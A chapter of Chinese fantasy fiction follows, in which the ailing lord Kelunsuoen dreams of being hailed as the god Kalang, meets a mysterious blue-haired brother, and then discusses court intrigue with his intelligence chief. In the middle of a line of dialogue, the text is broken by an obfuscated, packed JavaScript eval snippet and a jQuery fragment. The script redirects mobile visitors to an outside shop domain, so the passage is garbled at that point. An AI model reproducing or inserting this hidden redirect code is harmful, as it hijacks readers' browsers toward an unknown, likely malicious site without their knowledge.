4
入内瞬间,便知同往日相比,今时有何殊胜。他伸出双手,见指间俱是闪亮的银鳞,恍如何种雪山莲蓬。衣袍不若入睡时,柔软陈旧,而洁白,崭新,近堂皇地合乎他身。他感到身中的骨仿权杖般坚硬而臣服地支撑他的身体,而诚然他从未感到步伐是如此强壮,稳健,有力。一阵像往世的幻觉,因为除了记忆,怎样的想象可以穿透被血肉包裹的身……他缓慢,沉静地向前,心中平静而茫然,不知自己要向何处去,唯金光残道,绽放每步之下,照亮四周高大,完整,奇异的建筑,无不是他不曾见过的样式,屋檐飞跃,塔窗五色五形,层木高叠,支梁如砌起的多层花萼,繁美而骤起心悸,令他寻找已惯见的断壁残垣,无获。他走着,渐感心漂浮在某种滋养而封闭的金水中,强健而无关,不理会他意志地跳动着,而这心,不似他惯来孱弱而勉强的品质,念想广大刚强,念成物生,头颅微动,四周金生木长,火照土成,其心所映,吞没他眼中的些许疑惑,唯留下那璀璨无边的繁华,要他知道这群楼广厦,原便是如他所愿而作。——但如何,为何?他无法控制,唯转过头,终见那广阔的白玉地上骤起的高塔,仍见惯常模样,却更有百倍,千倍的明亮辉煌,赞颂声唱着——永世——永世,万岁,万岁!从内如酒海般传来;歌乐声念着繁荣,幸福,无边,无边!似银风铺满地间,吹开他丝缕千万的白袍。群星闪烁,照成银瀑奇姿,满天奔腾星宿奇兽,如是他起初没有注意到他那久来陪伴的相识——那条已被焚毁的巨蛇,正因为它恍已置身天中化作星辰,更以身长星明,为众星之首。
火烧已去,他抬头,见它仍在那,浑身洁白,辐照无穷白光彩射,抬首凌天,面若清明宁静,只在乐声高涨一刻,终睁其眼,露出群星太白之瑞照,正是那最亮,最耀目的一颗,由是银山旋转,向地而来,华美流动似海之舞,恰如画龙点睛,昭——蛇虽无翼,亦是真龙。
风雪漫起,衣袍飞舞,那蛇龙向他俯首,面露笑容。他的头发,却几不动,因编织成千百绺繁复闪光的银辫,滑石般,垂在肩上,其中缀满银枝作叶,沉重星耀。
——喀朗大神。
他听那龙轻声道:欢迎回来。
他垂头,见路已在前,龙身所作,引前而去,通向那天间高塔。他久站不动,心中空茫,许有一二愿言,终迅速被水洗刷,脚步已动,上那龙身,此中滋味,无人可言,在他已僵硬的内里,似有些许回响,喃喃,冰冷道:诚然孤独……
——喀朗大哥!
众兄弟道,坐一长桌旁,他略抬目,便见张张蒙上雾气白彩的面容,流露一二微笑的黑痕向他。大门极高,两旁宽似得容龙,却为他一人所开,得他阔步入内,空中飞旋那遥远绵长的天音,四周,金水飞溅,破碎得香,中散花瓣,落他身前。诸景对他何其尊重!爱而不亲,乐而不亵,十六音,在他耳中便饱满,若不敢有分毫哀伤颓神色,如欢乐无限,献歌礼赞;香气虽悦纳他口鼻,无引欲念,不可飘忽幽暗,唯显那阳光般的醇厚清新。诸景皆欢乐,室内高大,其白映照诸人心念,折射出璀璨纯净,各处耀目。
——喀朗——我们的长兄,我们的大神!
他垂头,见众皆举杯欢庆,千口一声道:感谢您赐予我们的平静,欢乐,永远的丰饶!欢宴永不结束,音乐永不停止,智慧永不枯竭。草木丰饶,牛羊遍野,金银璀璨,妻子和美。我们——*人*最好的指引者,我们的启明星,保护者,永世之主——*广陆*之王!
兰德索里德的喀朗大神。
他不曾停步,仍在这繁华宁静的白雾中向前,步伐稳健,气宇轩昂,似带银河,这声音只似颗琉璃作的星辰,在他内里崩裂,绽开五内崩裂苦痛,外见不能,因虽此地眼口鼻耳皆充满,唯心悬在虚空,不可言,不被听,唯徒劳地挣扎。
(这对他本人来说是至极痛苦的体验——他正在那儿,却不在那儿,每一丝对光影的模拟下都是他存在的溶解,而光影究竟可以分至多么细密,多么无尽?这酷刑因此无法停止,唯能前进。他忘了他的名字,他的来处,他的缘由。*这是如此熟悉*。他唯感此念,心中,那压力和情态淤积着,像吞天的风暴。)
——大哥,这边……
一个男人站起来,面容不见,却与常人不同,辐射灵光。这倒是可问:他是个人么?并无答案,两人相视而笑,已离了大殿后的人聚之中。这殿堂究竟有多大,如他这时的朦胧极难比类,只隐约,觉得周身只似处在某种色彩的转换中,倘将他的脚下的玉变作石,将令四周由这银河般的洁白转为那沉重的黑,他或许会知身在何处。但四周皆是那盲目的色彩,隐有泉水泻下之声,泉面在雾气中闪光。他转身,对那引他向前的男子,轻言几语,似在问询何事。往事渐去,前路的乳白中终显些许尖锐,不和谐的形状,刺出雾气,令他生惑。
——他到了么?
他柔声问,指向前方,乐声止息,雾气颤动,使他终看清,那尖锐之物原是一枝叶茂密,脉络细致低树的叶身。高塔广大,人群亦长身,这树的样貌情态,却是以来他见过最小巧入世的一物,绿叶似花,果实点缀其间,他不由微笑,身旁那男子以为他欢心,低身敬道:
“他已到了,喀朗大哥。”
——我们中最年幼的那位,正在此,从‘蓝旗’赶来‘中府’,但为觐见您……
乳雾渐落地面,他抬头,见那树旁的水池前,原是站了个人,披散长发,目视足下,细察而来,竟是在观池中的鱼。乐声已静,四周极静,空气中绽着那空灵的铁音,他感发间的银叶,轻碰他的面颊,携着阵穿心的凉意,不知何来。
他不动,仰头看这人,正当此人缓抬头时。不似众人,他穿深色长衣,如其来处,沾些藻蓝色彩,那长发亦是微微蜷曲,显同色泽。空中无音,他心中却骤响乐声,寥落广阔,若星辰为雨,纷落世间,再无如此悲凉,如此寒冷。
他抬头,二人对视,一目跨越万年,光影环回,只存于无念的上苍,注视着他的错愕的眼睛,映着那双沉静空洞,但无一物的深蓝瞳孔。
他开了口,那名姓呼之欲出。
“*克伦索恩殿下!*”一人在房门外叫道,他挣扎从榻上起身,虚弱道:“稍等。”颅上血管似在游动穿行,他只感两眼漆黑,难支撑四肢,勉强爬行,却既无法触到蜡烛,也无法睁眼视物品。“大公子?”那声音重复,他沙哑喘息,摸索床头草药叶片,难成言,只逼自己咽下。黑暗中时间似乎进行得极慢,他靠在床边,数着分秒,仿失而复明之人重见光明,周遭事物依次浮现,几如虚幻。他坐原处,浑身汗湿,只胸口起伏,连呻吟的力气也无,因耐受痛苦此事本身就耗费精力。
他停了很久,终于抬起手,借月光,看自己瘦弱,血管显露的手,哑声道:“进来罢。”
门开,来人是堡垒的新任情报总管艾维茛,自八月前接任已追随柯云森去沃特林的前任,年轻,羞怯,但并非全无城府。夜已深,她入内,极快地扫视他一眼,垂头行礼。然在那一眼中他也能见几分思量和深沉——此不奇怪,若考虑到他数月来是如何速度惊人地疲倦衰竭,虽不显在皮肤这器官上,于曾最被那龙血负担的脑而言,外见最显在发。倘他不是原先就金发带银,如今可是须发半白。执政领导人的身体诚使人担忧,而最关键的,恐怕是那龙心的代价,发人深省。
他并不排斥她的审视,只手抚心口,略点头,示意她开口无妨,她领命,垂首道:
“……我认为此事必须报告您……达弥斯提弗已进入全城警戒,可见王女临盆在即,而就在方才的信件中,哨兵提及,黑荔波斯又接见了达米安费雪一次,仍是维斯塔利亚女士亲自与会……”她抬头,略顿了顿:“我们在黑荔波斯的通信人员认为她们看上去似乎很亲近。”她没有做完全的解释,而以暗示作结:“这已是这个月以来的第三次。”
他艰难开口,摇头:“维斯塔利亚夫人不会背叛陛下,多谢您的汇报,但这个可能性近乎不存在。”
艾维茛有双蓝色的眼,在夜中轻微闪烁着,凝滞片刻后,他听她道:“但您的妹妹,不是先王——拉斯提库斯陛下已殉国驾崩,恕臣无礼,却不得不提出,忠诚鲜给亡者。”
他几露出一丝苦笑,那话在喉咙中,诚难言语:*但爱情会*。但这儿有什么谈情的余地呢?他点头,发出两三声咳嗽,肩膀颤抖,维声音稳定,道:“莫担心——我对黑荔波斯那只黑龙有绝对的控制力,倘有何事,我自使吠陀先出动。这结果,不会被任何一方喜欢,我想众殿下自有考量。”
他对她点头:“感谢你尽心尽力,去休息吧——也请你原谅我身体不适,需休整精
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131313|149957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
力。”艾维茛点头行礼,不再多言,转身离去,只在临近门口时回头。
“还有何事么?”他问到,笑容疲倦,她思索片刻,开口道:“……王女临盆在即,我们需要通知南部的情报人员做些什么吗?”
他沉默片刻,只觉得胸中有极长的气,欲化作叹息,却迟迟未来,只听自己的声音,平静道:“不必。”她又问:“那我们应做什么,大公子?”
他感心中疼痛,收紧手指:“——召集百官教士,全城民众,念《圣母颂》为公主祈福,”他道:“依女王旧制。”
艾维茛不曾多答,他也未看她的表情。“遵命。”她轻声道,愈轻,愈复杂。他不及思考,她走后,倒在床上,呼吸急促,咀嚼那治心却引幻觉的草药,在醇厚而酸楚的苦涩中睡去——这药草效力十分强烈,如他可验证……他感他做了那极快速而丰盛的梦,身临其境,却在醒时忘却,唯留这炽热的病痛,冰冷的坠落。
“——这会治好你,但过程会艰苦。”维格斯坦第离开前对他说;他接受了,甚至有准备,却仍被胸中那广阔似空谷传响的心悸攥住,困惑,闭着眼。他蹙眉。他告诉自己他必须睡着,如此,必须抛开这感觉……
如此真实……
*他长得真像他*——而他自己,像她……多么讽刺,多么讽刺!他摇着头,在这降落,融合时雷光般的须臾中——电光,泪光,照亮一寸*眼光*。这转瞬即逝的真相难以保存,如那眼泪顷刻在空气中蒸发,连刹那的纯洁也难被证明。他只能深深看着他——看着他英俊,坚硬,因空洞而飘渺的面容。蓝海深处浸染了他的发,他带来了蓝山的讯息。他,相反,银发似雪,眼瞳金光,这痛苦的流转和凝视中,亲见双相交叠——一时,是他们站在这雪台前,互相对着,一时,是那洁白的封魂棺上,那白衣女人跪倒在那沉默,静止的身上,长情不断,悲恸不止。他眨眼,面前,他站着,高大而轻盈,目光始终游离,看着池水中金银的鲤鱼。
他一定在那瞬间,且只是那瞬间,明白了发生了什么,然记忆留不住,领悟随之消失,只有一滴浑浊的泪,从他面上滑落。
——你为什么哭了?
他抬了头,看着他——和另一个人的面容是这么相像,一样美好,一样端正,一样俊美,却处处不同……*你能想象吗?*他无法说出这话,我们,在另一种时间中……另一种可能里……他看见那女子轻轻拥着那身体……
竟是相爱的?
二人对面而站。
“我见到你,太过高兴,我的兄弟。”他对他伸出手:“——你是唯乍,对么?”
他点了头,仍飘忽,仿佛这边这名字对他来说和所有其余名字并无差别。
——那么你是喀朗。他们说你很了不起。
他笑了:“不。没什么了不起的——欢迎你。将我当成你的大哥,如此就好。欢迎你来到中府。”
他邀他上前,但他没有动,他便记起了那件事——那对他们来说不可或缺的事。带着微笑和满心的关怀,他问道:“你从蓝山而来,如我们所有人一样,跋涉至此,为实现自己的命运……你这漫长一生的大愿是什么,唯乍?”
这话让他抬起了头,终于,因他如此就清晰,完全地看见了他——他的一切。他冰冷而猛烈的气焰,从那时开始,就已不事隐藏,但他视而不见。他接住他的金眼,体会着这话。若他真是现在的他,倒是好——他或许会捉住他的手,告诉他不一样的。告诉他,他已看到的事……
但时间停留在那,他什么也没说,而他开口,第一回,声音清晰,众人可闻。
“我没有愿望。”他道:“——我来此别无它事,”他眨那深海般的眼,同他道:“只是从我睁眼起,就有一声音告诉我,要来告诉你真相。”
那眼睛看向宫殿中众人,印下万年印记,梦在此消逝,将他沉入无明深处,如被那深蓝缓慢吞没。那眼睛看向他——看向所有人。告诉你们所有人真相。
那海藻般的荧蓝成了他最后的印象。克伦索恩清晨醒时,已不记得梦中任何事物,唯那阵蓝色不褪。他浑身汗湿,然心痛,奇迹般,确实已消除,只剩下些许虚弱。他踉跄到床边,拉开窗帘,见到一轮璀璨的日轮,从天远处升起。
他抬起头,心中寂静。天空是如此蓝,如海如河。